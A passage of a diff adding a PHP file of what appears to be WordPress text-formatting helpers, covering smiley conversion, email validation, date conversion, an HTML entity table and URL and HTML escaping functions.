+		return '';
+	}
+
+	$siteurl = get_option( 'siteurl' );
+
+	$smiley = trim(reset($smiley));
+	$img = $wpsmiliestrans[$smiley];
+	$smiley_masked = esc_attr($smiley);
+
+	return " <img src='$siteurl/wp-includes/images/smilies/$img' alt='$smiley_masked' class='wp-smiley' /> ";
+}
+
+
+/**
+ * Convert text equivalent of smilies to images.
+ *
+ * Will only convert smilies if the option 'use_smilies' is true and the global
+ * used in the function isn't empty.
+ *
+ * @since 0.71
+ * @uses $wp_smiliessearch
+ *
+ * @param string $text Content to convert smilies from text.
+ * @return string Converted content with text smilies replaced with images.
+ */
+function convert_smilies($text) {
+	global $wp_smiliessearch;
+	$output = '';
+	if ( get_option('use_smilies') && !empty($wp_smiliessearch) ) {
+		// HTML loop taken from texturize function, could possible be consolidated
+		$textarr = preg_split("/(<.*>)/U", $text, -1, PREG_SPLIT_DELIM_CAPTURE); // capture the tags as well as in between
+		$stop = count($textarr);// loop stuff
+		for ($i = 0; $i < $stop; $i++) {
+			$content = $textarr[$i];
+			if ((strlen($content) > 0) && ('<' != $content{0})) { // If it's not a tag
+				$content = preg_replace_callback($wp_smiliessearch, 'translate_smiley', $content);
+			}
+			$output .= $content;
+		}
+	} else {
+		// return default text.
+		$output = $text;
+	}
+	return $output;
+}
+
+/**
+ * Verifies that an email is valid.
+ *
+ * Does not grok i18n domains. Not RFC compliant.
+ *
+ * @since 0.71
+ *
+ * @param string $email Email address to verify.
+ * @param boolean $check_dns Whether to check the DNS for the domain using checkdnsrr().
+ * @return string|bool Either false or the valid email address.
+ */
+function is_email( $email, $check_dns = false ) {
+	// Test for the minimum length the email can be
+	if ( strlen( $email ) < 3 ) {
+		return apply_filters( 'is_email', false, $email, 'email_too_short' );
+	}
+
+	// Test for an @ character after the first position
+	if ( strpos( $email, '@', 1 ) === false ) {
+		return apply_filters( 'is_email', false, $email, 'email_no_at' );
+	}
+
+	// Split out the local and domain parts
+	list( $local, $domain ) = explode( '@', $email, 2 );
+
+	// LOCAL PART
+	// Test for invalid characters
+	if ( !preg_match( '/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/', $local ) ) {
+		return apply_filters( 'is_email', false, $email, 'local_invalid_chars' );
+	}
+
+	// DOMAIN PART
+	// Test for sequences of periods
+	if ( preg_match( '/\.{2,}/', $domain ) ) {
+		return apply_filters( 'is_email', false, $email, 'domain_period_sequence' );
+	}
+
+	// Test for leading and trailing periods and whitespace
+	if ( trim( $domain, " \t\n\r\0\x0B." ) !== $domain ) {
+		return apply_filters( 'is_email', false, $email, 'domain_period_limits' );
+	}
+
+	// Split the domain into subs
+	$subs = explode( '.', $domain );
+
+	// Assume the domain will have at least two subs
+	if ( 2 > count( $subs ) ) {
+		return apply_filters( 'is_email', false, $email, 'domain_no_periods' );
+	}
+
+	// Loop through each sub
+	foreach ( $subs as $sub ) {
+		// Test for leading and trailing hyphens and whitespace
+		if ( trim( $sub, " \t\n\r\0\x0B-" ) !== $sub ) {
+			return apply_filters( 'is_email', false, $email, 'sub_hyphen_limits' );
+		}
+
+		// Test for invalid characters
+		if ( !preg_match('/^[a-z0-9-]+$/i', $sub ) ) {
+			return apply_filters( 'is_email', false, $email, 'sub_invalid_chars' );
+		}
+	}
+
+	// DNS
+	// Check the domain has a valid MX and A resource record
+	if ( $check_dns && function_exists( 'checkdnsrr' ) && !( checkdnsrr( $domain . '.', 'MX' ) || checkdnsrr( $domain . '.', 'A' ) ) ) {
+		return apply_filters( 'is_email', false, $email, 'dns_no_rr' );
+	}
+
+	// Congratulations your email made it!
+	return apply_filters( 'is_email', $email, $email, null );
+}
+
+/**
+ * Convert to ASCII from email subjects.
+ *
+ * @since 1.2.0
+ * @usedby wp_mail() handles charsets in email subjects
+ *
+ * @param string $string Subject line
+ * @return string Converted string to ASCII
+ */
+function wp_iso_descrambler($string) {
+	/* this may only work with iso-8859-1, I'm afraid */
+	if (!preg_match('#\=\?(.+)\?Q\?(.+)\?\=#i', $string, $matches)) {
+		return $string;
+	} else {
+		$subject = str_replace('_', ' ', $matches[2]);
+		$subject = preg_replace_callback('#\=([0-9a-f]{2})#i', create_function('$match', 'return chr(hexdec(strtolower($match[1])));'), $subject);
+		return $subject;
+	}
+}
+
+/**
+ * Returns a date in the GMT equivalent.
+ *
+ * Requires and returns a date in the Y-m-d H:i:s format. Simply subtracts the
+ * value of the 'gmt_offset' option.
+ *
+ * @since 1.2.0
+ *
+ * @uses get_option() to retrieve the the value of 'gmt_offset'.
+ * @param string $string The date to be converted.
+ * @return string GMT version of the date provided.
+ */
+function get_gmt_from_date($string) {
+	preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches);
+	$string_time = gmmktime($matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1]);
+	$string_gmt = gmdate('Y-m-d H:i:s', $string_time - get_option('gmt_offset') * 3600);
+	return $string_gmt;
+}
+
+/**
+ * Converts a GMT date into the correct format for the blog.
+ *
+ * Requires and returns in the Y-m-d H:i:s format. Simply adds the value of
+ * gmt_offset.
+ *
+ * @since 1.2.0
+ *
+ * @param string $string The date to be converted.
+ * @return string Formatted date relative to the GMT offset.
+ */
+function get_date_from_gmt($string) {
+	preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches);
+	$string_time = gmmktime($matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1]);
+	$string_localtime = gmdate('Y-m-d H:i:s', $string_time + get_option('gmt_offset')*3600);
+	return $string_localtime;
+}
+
+/**
+ * Computes an offset in seconds from an iso8601 timezone.
+ *
+ * @since 1.5.0
+ *
+ * @param string $timezone Either 'Z' for 0 offset or 'Â±hhmm'.
+ * @return int|float The offset in seconds.
+ */
+function iso8601_timezone_to_offset($timezone) {
+	// $timezone is either 'Z' or '[+|-]hhmm'
+	if ($timezone == 'Z') {
+		$offset = 0;
+	} else {
+		$sign    = (substr($timezone, 0, 1) == '+') ? 1 : -1;
+		$hours   = intval(substr($timezone, 1, 2));
+		$minutes = intval(substr($timezone, 3, 4)) / 60;
+		$offset  = $sign * 3600 * ($hours + $minutes);
+	}
+	return $offset;
+}
+
+/**
+ * Converts an iso8601 date to MySQL DateTime format used by post_date[_gmt].
+ *
+ * @since 1.5.0
+ *
+ * @param string $date_string Date and time in ISO 8601 format {@link http://en.wikipedia.org/wiki/ISO_8601}.
+ * @param string $timezone Optional. If set to GMT returns the time minus gmt_offset. Default is 'user'.
+ * @return string The date and time in MySQL DateTime format - Y-m-d H:i:s.
+ */
+function iso8601_to_datetime($date_string, $timezone = 'user') {
+	$timezone = strtolower($timezone);
+
+	if ($timezone == 'gmt') {
+
+		preg_match('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', $date_string, $date_bits);
+
+		if (!empty($date_bits[7])) { // we have a timezone, so let's compute an offset
+			$offset = iso8601_timezone_to_offset($date_bits[7]);
+		} else { // we don't have a timezone, so we assume user local timezone (not server's!)
+			$offset = 3600 * get_option('gmt_offset');
+		}
+
+		$timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]);
+		$timestamp -= $offset;
+
+		return gmdate('Y-m-d H:i:s', $timestamp);
+
+	} else if ($timezone == 'user') {
+		return preg_replace('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', '$1-$2-$3 $4:$5:$6', $date_string);
+	}
+}
+
+/**
+ * Adds a element attributes to open links in new windows.
+ *
+ * Comment text in popup windows should be filtered through this. Right now it's
+ * a moderately dumb function, ideally it would detect whether a target or rel
+ * attribute was already there and adjust its actions accordingly.
+ *
+ * @since 0.71
+ *
+ * @param string $text Content to replace links to open in a new window.
+ * @return string Content that has filtered links.
+ */
+function popuplinks($text) {
+	$text = preg_replace('/<a (.+?)>/i', "<a $1 target='_blank' rel='external'>", $text);
+	return $text;
+}
+
+/**
+ * Strips out all characters that are not allowable in an email.
+ *
+ * @since 1.5.0
+ *
+ * @param string $email Email address to filter.
+ * @return string Filtered email address.
+ */
+function sanitize_email( $email ) {
+	// Test for the minimum length the email can be
+	if ( strlen( $email ) < 3 ) {
+		return apply_filters( 'sanitize_email', '', $email, 'email_too_short' );
+	}
+
+	// Test for an @ character after the first position
+	if ( strpos( $email, '@', 1 ) === false ) {
+		return apply_filters( 'sanitize_email', '', $email, 'email_no_at' );
+	}
+
+	// Split out the local and domain parts
+	list( $local, $domain ) = explode( '@', $email, 2 );
+
+	// LOCAL PART
+	// Test for invalid characters
+	$local = preg_replace( '/[^a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]/', '', $local );
+	if ( '' === $local ) {
+		return apply_filters( 'sanitize_email', '', $email, 'local_invalid_chars' );
+	}
+
+	// DOMAIN PART
+	// Test for sequences of periods
+	$domain = preg_replace( '/\.{2,}/', '', $domain );
+	if ( '' === $domain ) {
+		return apply_filters( 'sanitize_email', '', $email, 'domain_period_sequence' );
+	}
+
+	// Test for leading and trailing periods and whitespace
+	$domain = trim( $domain, " \t\n\r\0\x0B." );
+	if ( '' === $domain ) {
+		return apply_filters( 'sanitize_email', '', $email, 'domain_period_limits' );
+	}
+
+	// Split the domain into subs
+	$subs = explode( '.', $domain );
+
+	// Assume the domain will have at least two subs
+	if ( 2 > count( $subs ) ) {
+		return apply_filters( 'sanitize_email', '', $email, 'domain_no_periods' );
+	}
+
+	// Create an array that will contain valid subs
+	$new_subs = array();
+
+	// Loop through each sub
+	foreach ( $subs as $sub ) {
+		// Test for leading and trailing hyphens
+		$sub = trim( $sub, " \t\n\r\0\x0B-" );
+
+		// Test for invalid characters
+		$sub = preg_replace( '/^[^a-z0-9-]+$/i', '', $sub );
+
+		// If there's anything left, add it to the valid subs
+		if ( '' !== $sub ) {
+			$new_subs[] = $sub;
+		}
+	}
+
+	// If there aren't 2 or more valid subs
+	if ( 2 > count( $new_subs ) ) {
+		return apply_filters( 'sanitize_email', '', $email, 'domain_no_valid_subs' );
+	}
+
+	// Join valid subs into the new domain
+	$domain = join( '.', $new_subs );
+
+	// Put the email back together
+	$email = $local . '@' . $domain;
+
+	// Congratulations your email made it!
+	return apply_filters( 'sanitize_email', $email, $email, null );
+}
+
+/**
+ * Determines the difference between two timestamps.
+ *
+ * The difference is returned in a human readable format such as "1 hour",
+ * "5 mins", "2 days".
+ *
+ * @since 1.5.0
+ *
+ * @param int $from Unix timestamp from which the difference begins.
+ * @param int $to Optional. Unix timestamp to end the time difference. Default becomes time() if not set.
+ * @return string Human readable time difference.
+ */
+function human_time_diff( $from, $to = '' ) {
+	if ( empty($to) )
+		$to = time();
+	$diff = (int) abs($to - $from);
+	if ($diff <= 3600) {
+		$mins = round($diff / 60);
+		if ($mins <= 1) {
+			$mins = 1;
+		}
+		$since = sprintf(_n('%s min', '%s mins', $mins), $mins);
+	} else if (($diff <= 86400) && ($diff > 3600)) {
+		$hours = round($diff / 3600);
+		if ($hours <= 1) {
+			$hours = 1;
+		}
+		$since = sprintf(_n('%s hour', '%s hours', $hours), $hours);
+	} elseif ($diff >= 86400) {
+		$days = round($diff / 86400);
+		if ($days <= 1) {
+			$days = 1;
+		}
+		$since = sprintf(_n('%s day', '%s days', $days), $days);
+	}
+	return $since;
+}
+
+/**
+ * Generates an excerpt from the content, if needed.
+ *
+ * The excerpt word amount will be 55 words and if the amount is greater than
+ * that, then the string '[...]' will be appended to the excerpt. If the string
+ * is less than 55 words, then the content will be returned as is.
+ *
+ * @since 1.5.0
+ *
+ * @param string $text The exerpt. If set to empty an excerpt is generated.
+ * @return string The excerpt.
+ */
+function wp_trim_excerpt($text) {
+	$raw_excerpt = $text;
+	if ( '' == $text ) {
+		$text = get_the_content('');
+
+		$text = strip_shortcodes( $text );
+
+		$text = apply_filters('the_content', $text);
+		$text = str_replace(']]>', ']]&gt;', $text);
+		$text = strip_tags($text);
+		$excerpt_length = apply_filters('excerpt_length', 55);
+		$words = explode(' ', $text, $excerpt_length + 1);
+		if (count($words) > $excerpt_length) {
+			array_pop($words);
+			array_push($words, '[...]');
+			$text = implode(' ', $words);
+		}
+	}
+	return apply_filters('wp_trim_excerpt', $text, $raw_excerpt);
+}
+
+/**
+ * Converts named entities into numbered entities.
+ *
+ * @since 1.5.1
+ *
+ * @param string $text The text within which entities will be converted.
+ * @return string Text with converted entities.
+ */
+function ent2ncr($text) {
+	$to_ncr = array(
+		'&quot;' => '&#34;',
+		'&amp;' => '&#38;',
+		'&frasl;' => '&#47;',
+		'&lt;' => '&#60;',
+		'&gt;' => '&#62;',
+		'|' => '&#124;',
+		'&nbsp;' => '&#160;',
+		'&iexcl;' => '&#161;',
+		'&cent;' => '&#162;',
+		'&pound;' => '&#163;',
+		'&curren;' => '&#164;',
+		'&yen;' => '&#165;',
+		'&brvbar;' => '&#166;',
+		'&brkbar;' => '&#166;',
+		'&sect;' => '&#167;',
+		'&uml;' => '&#168;',
+		'&die;' => '&#168;',
+		'&copy;' => '&#169;',
+		'&ordf;' => '&#170;',
+		'&laquo;' => '&#171;',
+		'&not;' => '&#172;',
+		'&shy;' => '&#173;',
+		'&reg;' => '&#174;',
+		'&macr;' => '&#175;',
+		'&hibar;' => '&#175;',
+		'&deg;' => '&#176;',
+		'&plusmn;' => '&#177;',
+		'&sup2;' => '&#178;',
+		'&sup3;' => '&#179;',
+		'&acute;' => '&#180;',
+		'&micro;' => '&#181;',
+		'&para;' => '&#182;',
+		'&middot;' => '&#183;',
+		'&cedil;' => '&#184;',
+		'&sup1;' => '&#185;',
+		'&ordm;' => '&#186;',
+		'&raquo;' => '&#187;',
+		'&frac14;' => '&#188;',
+		'&frac12;' => '&#189;',
+		'&frac34;' => '&#190;',
+		'&iquest;' => '&#191;',
+		'&Agrave;' => '&#192;',
+		'&Aacute;' => '&#193;',
+		'&Acirc;' => '&#194;',
+		'&Atilde;' => '&#195;',
+		'&Auml;' => '&#196;',
+		'&Aring;' => '&#197;',
+		'&AElig;' => '&#198;',
+		'&Ccedil;' => '&#199;',
+		'&Egrave;' => '&#200;',
+		'&Eacute;' => '&#201;',
+		'&Ecirc;' => '&#202;',
+		'&Euml;' => '&#203;',
+		'&Igrave;' => '&#204;',
+		'&Iacute;' => '&#205;',
+		'&Icirc;' => '&#206;',
+		'&Iuml;' => '&#207;',
+		'&ETH;' => '&#208;',
+		'&Ntilde;' => '&#209;',
+		'&Ograve;' => '&#210;',
+		'&Oacute;' => '&#211;',
+		'&Ocirc;' => '&#212;',
+		'&Otilde;' => '&#213;',
+		'&Ouml;' => '&#214;',
+		'&times;' => '&#215;',
+		'&Oslash;' => '&#216;',
+		'&Ugrave;' => '&#217;',
+		'&Uacute;' => '&#218;',
+		'&Ucirc;' => '&#219;',
+		'&Uuml;' => '&#220;',
+		'&Yacute;' => '&#221;',
+		'&THORN;' => '&#222;',
+		'&szlig;' => '&#223;',
+		'&agrave;' => '&#224;',
+		'&aacute;' => '&#225;',
+		'&acirc;' => '&#226;',
+		'&atilde;' => '&#227;',
+		'&auml;' => '&#228;',
+		'&aring;' => '&#229;',
+		'&aelig;' => '&#230;',
+		'&ccedil;' => '&#231;',
+		'&egrave;' => '&#232;',
+		'&eacute;' => '&#233;',
+		'&ecirc;' => '&#234;',
+		'&euml;' => '&#235;',
+		'&igrave;' => '&#236;',
+		'&iacute;' => '&#237;',
+		'&icirc;' => '&#238;',
+		'&iuml;' => '&#239;',
+		'&eth;' => '&#240;',
+		'&ntilde;' => '&#241;',
+		'&ograve;' => '&#242;',
+		'&oacute;' => '&#243;',
+		'&ocirc;' => '&#244;',
+		'&otilde;' => '&#245;',
+		'&ouml;' => '&#246;',
+		'&divide;' => '&#247;',
+		'&oslash;' => '&#248;',
+		'&ugrave;' => '&#249;',
+		'&uacute;' => '&#250;',
+		'&ucirc;' => '&#251;',
+		'&uuml;' => '&#252;',
+		'&yacute;' => '&#253;',
+		'&thorn;' => '&#254;',
+		'&yuml;' => '&#255;',
+		'&OElig;' => '&#338;',
+		'&oelig;' => '&#339;',
+		'&Scaron;' => '&#352;',
+		'&scaron;' => '&#353;',
+		'&Yuml;' => '&#376;',
+		'&fnof;' => '&#402;',
+		'&circ;' => '&#710;',
+		'&tilde;' => '&#732;',
+		'&Alpha;' => '&#913;',
+		'&Beta;' => '&#914;',
+		'&Gamma;' => '&#915;',
+		'&Delta;' => '&#916;',
+		'&Epsilon;' => '&#917;',
+		'&Zeta;' => '&#918;',
+		'&Eta;' => '&#919;',
+		'&Theta;' => '&#920;',
+		'&Iota;' => '&#921;',
+		'&Kappa;' => '&#922;',
+		'&Lambda;' => '&#923;',
+		'&Mu;' => '&#924;',
+		'&Nu;' => '&#925;',
+		'&Xi;' => '&#926;',
+		'&Omicron;' => '&#927;',
+		'&Pi;' => '&#928;',
+		'&Rho;' => '&#929;',
+		'&Sigma;' => '&#931;',
+		'&Tau;' => '&#932;',
+		'&Upsilon;' => '&#933;',
+		'&Phi;' => '&#934;',
+		'&Chi;' => '&#935;',
+		'&Psi;' => '&#936;',
+		'&Omega;' => '&#937;',
+		'&alpha;' => '&#945;',
+		'&beta;' => '&#946;',
+		'&gamma;' => '&#947;',
+		'&delta;' => '&#948;',
+		'&epsilon;' => '&#949;',
+		'&zeta;' => '&#950;',
+		'&eta;' => '&#951;',
+		'&theta;' => '&#952;',
+		'&iota;' => '&#953;',
+		'&kappa;' => '&#954;',
+		'&lambda;' => '&#955;',
+		'&mu;' => '&#956;',
+		'&nu;' => '&#957;',
+		'&xi;' => '&#958;',
+		'&omicron;' => '&#959;',
+		'&pi;' => '&#960;',
+		'&rho;' => '&#961;',
+		'&sigmaf;' => '&#962;',
+		'&sigma;' => '&#963;',
+		'&tau;' => '&#964;',
+		'&upsilon;' => '&#965;',
+		'&phi;' => '&#966;',
+		'&chi;' => '&#967;',
+		'&psi;' => '&#968;',
+		'&omega;' => '&#969;',
+		'&thetasym;' => '&#977;',
+		'&upsih;' => '&#978;',
+		'&piv;' => '&#982;',
+		'&ensp;' => '&#8194;',
+		'&emsp;' => '&#8195;',
+		'&thinsp;' => '&#8201;',
+		'&zwnj;' => '&#8204;',
+		'&zwj;' => '&#8205;',
+		'&lrm;' => '&#8206;',
+		'&rlm;' => '&#8207;',
+		'&ndash;' => '&#8211;',
+		'&mdash;' => '&#8212;',
+		'&lsquo;' => '&#8216;',
+		'&rsquo;' => '&#8217;',
+		'&sbquo;' => '&#8218;',
+		'&ldquo;' => '&#8220;',
+		'&rdquo;' => '&#8221;',
+		'&bdquo;' => '&#8222;',
+		'&dagger;' => '&#8224;',
+		'&Dagger;' => '&#8225;',
+		'&bull;' => '&#8226;',
+		'&hellip;' => '&#8230;',
+		'&permil;' => '&#8240;',
+		'&prime;' => '&#8242;',
+		'&Prime;' => '&#8243;',
+		'&lsaquo;' => '&#8249;',
+		'&rsaquo;' => '&#8250;',
+		'&oline;' => '&#8254;',
+		'&frasl;' => '&#8260;',
+		'&euro;' => '&#8364;',
+		'&image;' => '&#8465;',
+		'&weierp;' => '&#8472;',
+		'&real;' => '&#8476;',
+		'&trade;' => '&#8482;',
+		'&alefsym;' => '&#8501;',
+		'&crarr;' => '&#8629;',
+		'&lArr;' => '&#8656;',
+		'&uArr;' => '&#8657;',
+		'&rArr;' => '&#8658;',
+		'&dArr;' => '&#8659;',
+		'&hArr;' => '&#8660;',
+		'&forall;' => '&#8704;',
+		'&part;' => '&#8706;',
+		'&exist;' => '&#8707;',
+		'&empty;' => '&#8709;',
+		'&nabla;' => '&#8711;',
+		'&isin;' => '&#8712;',
+		'&notin;' => '&#8713;',
+		'&ni;' => '&#8715;',
+		'&prod;' => '&#8719;',
+		'&sum;' => '&#8721;',
+		'&minus;' => '&#8722;',
+		'&lowast;' => '&#8727;',
+		'&radic;' => '&#8730;',
+		'&prop;' => '&#8733;',
+		'&infin;' => '&#8734;',
+		'&ang;' => '&#8736;',
+		'&and;' => '&#8743;',
+		'&or;' => '&#8744;',
+		'&cap;' => '&#8745;',
+		'&cup;' => '&#8746;',
+		'&int;' => '&#8747;',
+		'&there4;' => '&#8756;',
+		'&sim;' => '&#8764;',
+		'&cong;' => '&#8773;',
+		'&asymp;' => '&#8776;',
+		'&ne;' => '&#8800;',
+		'&equiv;' => '&#8801;',
+		'&le;' => '&#8804;',
+		'&ge;' => '&#8805;',
+		'&sub;' => '&#8834;',
+		'&sup;' => '&#8835;',
+		'&nsub;' => '&#8836;',
+		'&sube;' => '&#8838;',
+		'&supe;' => '&#8839;',
+		'&oplus;' => '&#8853;',
+		'&otimes;' => '&#8855;',
+		'&perp;' => '&#8869;',
+		'&sdot;' => '&#8901;',
+		'&lceil;' => '&#8968;',
+		'&rceil;' => '&#8969;',
+		'&lfloor;' => '&#8970;',
+		'&rfloor;' => '&#8971;',
+		'&lang;' => '&#9001;',
+		'&rang;' => '&#9002;',
+		'&larr;' => '&#8592;',
+		'&uarr;' => '&#8593;',
+		'&rarr;' => '&#8594;',
+		'&darr;' => '&#8595;',
+		'&harr;' => '&#8596;',
+		'&loz;' => '&#9674;',
+		'&spades;' => '&#9824;',
+		'&clubs;' => '&#9827;',
+		'&hearts;' => '&#9829;',
+		'&diams;' => '&#9830;'
+	);
+
+	return str_replace( array_keys($to_ncr), array_values($to_ncr), $text );
+}
+
+/**
+ * Formats text for the rich text editor.
+ *
+ * The filter 'richedit_pre' is applied here. If $text is empty the filter will
+ * be applied to an empty string.
+ *
+ * @since 2.0.0
+ *
+ * @param string $text The text to be formatted.
+ * @return string The formatted text after filter is applied.
+ */
+function wp_richedit_pre($text) {
+	// Filtering a blank results in an annoying <br />\n
+	if ( empty($text) ) return apply_filters('richedit_pre', '');
+
+	$output = convert_chars($text);
+	$output = wpautop($output);
+	$output = htmlspecialchars($output, ENT_NOQUOTES);
+
+	return apply_filters('richedit_pre', $output);
+}
+
+/**
+ * Formats text for the HTML editor.
+ *
+ * Unless $output is empty it will pass through htmlspecialchars before the
+ * 'htmledit_pre' filter is applied.
+ *
+ * @since 2.5.0
+ *
+ * @param string $output The text to be formatted.
+ * @return string Formatted text after filter applied.
+ */
+function wp_htmledit_pre($output) {
+	if ( !empty($output) )
+		$output = htmlspecialchars($output, ENT_NOQUOTES); // convert only < > &
+
+	return apply_filters('htmledit_pre', $output);
+}
+
+/**
+ * Checks and cleans a URL.
+ *
+ * A number of characters are removed from the URL. If the URL is for displaying
+ * (the default behaviour) amperstands are also replaced. The 'esc_url' filter
+ * is applied to the returned cleaned URL.
+ *
+ * @since 1.2.0
+ * @uses wp_kses_bad_protocol() To only permit protocols in the URL set
+ *		via $protocols or the common ones set in the function.
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols Optional. An array of acceptable protocols.
+ *		Defaults to 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet' if not set.
+ * @param string $context Optional. How the URL will be used. Default is 'display'.
+ * @return string The cleaned $url after the 'cleaned_url' filter is applied.
+ */
+function clean_url( $url, $protocols = null, $context = 'display' ) {
+	$original_url = $url;
+
+	if ('' == $url) return $url;
+	$url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%@$\|*\'()\\x80-\\xff]|i', '', $url);
+	$strip = array('%0d', '%0a', '%0D', '%0A');
+	$url = _deep_replace($strip, $url);
+	$url = str_replace(';//', '://', $url);
+	/* If the URL doesn't appear to contain a scheme, we
+	 * presume it needs http:// appended (unless a relative
+	 * link starting with / or a php file).
+	 */
+	if ( strpos($url, ':') === false &&
+		substr( $url, 0, 1 ) != '/' && substr( $url, 0, 1 ) != '#' && !preg_match('/^[a-z0-9-]+?\.php/i', $url) )
+		$url = 'http://' . $url;
+
+	// Replace ampersands and single quotes only when displaying.
+	if ( 'display' == $context ) {
+		$url = preg_replace('/&([^#])(?![a-z]{2,8};)/', '&#038;$1', $url);
+		$url = str_replace( "'", '&#039;', $url );
+	}
+
+	if ( !is_array($protocols) )
+		$protocols = array('http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet');
+	if ( wp_kses_bad_protocol( $url, $protocols ) != $url )
+		return '';
+
+	return apply_filters('clean_url', $url, $original_url, $context);
+}
+
+/**
+ * Perform a deep string replace operation to ensure the values in $search are no longer present
+ * 
+ * Repeats the replacement operation until it no longer replaces anything so as to remove "nested" values
+ * e.g. $subject = '%0%0%0DDD', $search ='%0D', $result ='' rather than the '%0%0DD' that
+ * str_replace would return
+ * 
+ * @since 2.8.1
+ * @access private
+ * 
+ * @param string|array $search
+ * @param string $subject
+ * @return string The processed string
+ */
+function _deep_replace($search, $subject){
+	$found = true;
+	while($found) {
+		$found = false;
+		foreach( (array) $search as $val ) {
+			while(strpos($subject, $val) !== false) {
+				$found = true;
+				$subject = str_replace($val, '', $subject);
+			}
+		}
+	}
+	
+	return $subject;
+}
+
+/**
+ * Escapes data for use in a MySQL query
+ *
+ * This is just a handy shortcut for $wpdb->escape(), for completeness' sake
+ *
+ * @since 2.8.0
+ * @param string $sql Unescaped SQL data
+ * @return string The cleaned $sql
+ */
+function esc_sql( $sql ) {
+	global $wpdb;
+	return $wpdb->escape( $sql );
+}
+
+
+/**
+ * Checks and cleans a URL.
+ *
+ * A number of characters are removed from the URL. If the URL is for displaying
+ * (the default behaviour) amperstands are also replaced. The 'esc_url' filter
+ * is applied to the returned cleaned URL.
+ *
+ * @since 2.8.0
+ * @uses esc_url()
+ * @uses wp_kses_bad_protocol() To only permit protocols in the URL set
+ *		via $protocols or the common ones set in the function.
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols Optional. An array of acceptable protocols.
+ *		Defaults to 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet' if not set.
+ * @return string The cleaned $url after the 'cleaned_url' filter is applied.
+ */
+function esc_url( $url, $protocols = null ) {
+	return clean_url( $url, $protocols, 'display' );
+}
+
+/**
+ * Performs esc_url() for database usage.
+ *
+ * @see esc_url()
+ * @see esc_url()
+ *
+ * @since 2.8.0
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols An array of acceptable protocols.
+ * @return string The cleaned URL.
+ */
+function esc_url_raw( $url, $protocols = null ) {
+	return clean_url( $url, $protocols, 'db' );
+}
+
+/**
+ * Performs esc_url() for database or redirect usage.
+ *
+ * @see esc_url()
+ * @deprecated 2.8.0
+ *
+ * @since 2.3.1
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols An array of acceptable protocols.
+ * @return string The cleaned URL.
+ */
+function sanitize_url( $url, $protocols = null ) {
+	return clean_url( $url, $protocols, 'db' );
+}
+
+/**
+ * Convert entities, while preserving already-encoded entities.
+ *
+ * @link http://www.php.net/htmlentities Borrowed from the PHP Manual user notes.
+ *
+ * @since 1.2.2
+ *
+ * @param string $myHTML The text to be converted.
+ * @return string Converted text.
+ */
+function htmlentities2($myHTML) {
+	$translation_table = get_html_translation_table( HTML_ENTITIES, ENT_QUOTES );
+	$translation_table[chr(38)] = '&';
+	return preg_replace( "/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/", "&amp;", strtr($myHTML, $translation_table) );
+}
+
+/**
+ * Escape single quotes, specialchar double quotes, and fix line endings.
+ *
+ * The filter 'js_escape' is also applied here.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text The text to be escaped.
+ * @return string Escaped text.
+ */
+function esc_js( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_COMPAT );
+	$safe_text = preg_replace( '/&#(x)?0*(?(1)27|39);?/i', "'", stripslashes( $safe_text ) );
+	$safe_text = preg_replace( "/\r?\n/", "\\n", addslashes( $safe_text ) );
+	return apply_filters( 'js_escape', $safe_text, $text );
+}
+
+/**
+ * Escape single quotes, specialchar double quotes, and fix line endings.
+ *
+ * The filter 'js_escape' is also applied by esc_js()
+ *
+ * @since 2.0.4
+ *
+ * @deprecated 2.8.0
+ * @see esc_js()
+ *
+ * @param string $text The text to be escaped.
+ * @return string Escaped text.
+ */
+function js_escape( $text ) {
+	return esc_js( $text );
+}
+
+/**
+ * Escaping for HTML blocks.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_html( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
+	return apply_filters( 'esc_html', $safe_text, $text );
+	return $text;
+}
+
+/**
+ * Escaping for HTML blocks
+ * @deprecated 2.8.0
+ * @see esc_html()
+ */
+function wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
+	if ( func_num_args() > 1 ) { // Maintain backwards compat for people passing additional args
+		$args = func_get_args();
+		return call_user_func_array( '_wp_specialchars', $args );
+	} else {
+		return esc_html( $string );
+	}
+}
+
+/**
+ * Escaping for HTML attributes.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text
+ * @return string
+ */
+function esc_attr( $text ) {
+	$safe_text = wp_check_invalid_utf8( $text );
+	$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
+	return apply_filters( 'attribute_escape', $safe_text, $text );
+}
+
+/**
+ * Escaping for HTML attributes.
+ *
+ * @since 2.0.6
+ *
+ * @deprecated 2.8.0
+ * @see esc_attr()
+ *
+ * @param string $text
+ * @return string
+ */
+function attribute_escape( $text ) {
